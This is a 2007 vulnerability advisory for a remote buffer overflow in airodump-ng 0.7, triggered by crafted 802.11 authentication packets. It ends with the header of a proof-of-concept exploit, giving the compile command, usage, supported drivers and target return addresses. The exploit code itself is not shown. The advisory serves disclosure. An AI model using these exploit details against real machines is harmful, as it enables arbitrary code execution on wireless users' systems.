Subject: Aircrack-ng (airodump-ng) remote buffer overflow vulnerability
Product Name: Aircrack-ng (0.7)
Vendor: http://www.aircrack-ng.org
Date: 13 April, 2007
Author: Jonathan So < jonny [ @ ] nop-art [ dot ] net>
Advisory URL: http://www.nop-art.net/advisories/airodump-ng.txt
I. DESCRIPTION
A buffer overflow vulnerability has been found in airodump-ng, part of
the aircrack-ng package. The vulnerability could allow an attacker to
transmit specially crafted 802.11 packets to execute arbitrary code on
a remote machine running the airodump-ng tool.
II. DETAILS
Airodump-ng fails to check the size of 802.11 authentication packets
before copying into an insufficiently sized global buffer. As a result
it is possible to overwrite another global variable passed as the size
parameter to a subsequent memcpy() operation, in order to overflow a
stack buffer. Airodump-ng must be logging packets with the -w or
--write option to be vulnerable to this attack. The wireless device
must also be capturing packets in monitor mode.
This vulnerability has been successfully exploited against on an x86
Linux 2.6.20 machine running airodump-ng 0.7. Other versions and
platforms are also likely to be affected.

IV. EXPLOIT
/**
* airodump-exp.c - aircrack/airodump-ng (0.7) remote exploit
*
* Proof of concept exploit for a stack (and heap) based
* overflow in airodump-ng. The vulnerability can be exploited
* by transmitting some specially crafted 802.11 packets to
* execute arbitrary code on any machines within range
* that are sniffing with a vulnerable version of airodump-ng.
*
* This exploit requires the lorcon 802.11 packet injection
* library, see http://802.11ninja.net for details.
*
* Compiling:
*
* gcc -o airodump-remote airodump-remote.c -lorcon
*
* Usage:
*
* ./airodump-ng <interface> <driver> <channel> <headertype> [return addr]
*
* Drivers supported by lorcon:
*
* wlan-ng, hostap, airjack, prism54, madwifing, madwifiold,
* rtl8180, rt2570, rt2500, rt73, rt61, zd1211rw
*
* Header types:
*
* 0 - None (not tested)
* 1 - Fake prism54 header
* 2 - Fake radiotap header (not tested)
*
* Return addresses:
*
* Backtrack Linux 2 (2.6.20) aircrack-ng 0.7 - 0x8054934
* Gentoo Linux (2.6.16) aircrack-ng 0.7 - 0x8055934
*
* Example usage:
*
* ./airodump-ng wlan0 prism54 11 1 0x8054934
